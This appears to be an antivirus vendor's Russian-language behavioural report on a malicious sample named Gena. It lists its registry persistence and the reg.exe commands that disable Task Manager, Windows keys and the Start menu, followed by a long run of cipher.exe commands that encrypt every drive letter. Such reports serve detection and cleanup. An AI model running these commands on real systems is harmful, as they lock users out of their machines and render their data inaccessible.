Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'Gena.bat' = '"%TEMP%\RarSFX0\Gena.bat"'
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Диспетчера задач (Taskmgr)
изменяет следующие системные настройки:
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoChangeStartMenu' = '00000001'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoClose' = '00000001'
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\rarsfx0\генка.ico
- %TEMP%\rarsfx0\gena.bat
- %TEMP%\rarsfx0\gena.vbs
Другое
Ищет следующие окна
- ClassName: 'Edit' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' "%TEMP%\RarSFX0\Gena.vbs"
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\RarSFX0\Gena.bat" (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoWinKeys" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoChangeStartMenu" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Gena.bat" /t REG_SZ /d "\"%TEMP%\RarSFX0\Gena.bat\"" /f
- '<SYSTEM32>\takeown.exe' /f A:\ /R /D Y
- '<SYSTEM32>\cipher.exe' /e "B:\"
- '<SYSTEM32>\cipher.exe' /e "C:\"
- '<SYSTEM32>\cipher.exe' /e "D:\"
- '<SYSTEM32>\cipher.exe' /e "E:\"
- '<SYSTEM32>\cipher.exe' /e "<Имя диска съемного носителя>:\"
- '<SYSTEM32>\cipher.exe' /e "G:\"
- '<SYSTEM32>\cipher.exe' /e "H:\"
- '<SYSTEM32>\cipher.exe' /e "I:\"
- '<SYSTEM32>\cipher.exe' /e "J:\"
- '<SYSTEM32>\cipher.exe' /e "K:\"
- '<SYSTEM32>\cipher.exe' /e "L:\"
- '<SYSTEM32>\cipher.exe' /e "M:\"
- '<SYSTEM32>\cipher.exe' /e "N:\"
- '<SYSTEM32>\cipher.exe' /e "O:\"
- '<SYSTEM32>\cipher.exe' /e "P:\"
- '<SYSTEM32>\cipher.exe' /e "Q:\"
- '<SYSTEM32>\cipher.exe' /e "R:\"
- '<SYSTEM32>\cipher.exe' /e "S:\"
- '<SYSTEM32>\cipher.exe' /e "T:\"
- '<SYSTEM32>\cipher.exe' /e "U:\"
- '<SYSTEM32>\cipher.exe' /e "V:\"
- '<SYSTEM32>\cipher.exe' /e "W:\"
- '<SYSTEM32>\cipher.exe' /e "X:\"
- '<SYSTEM32>\cipher.exe' /e "Y:\"
- '<SYSTEM32>\cipher.exe' /e "Z:\"
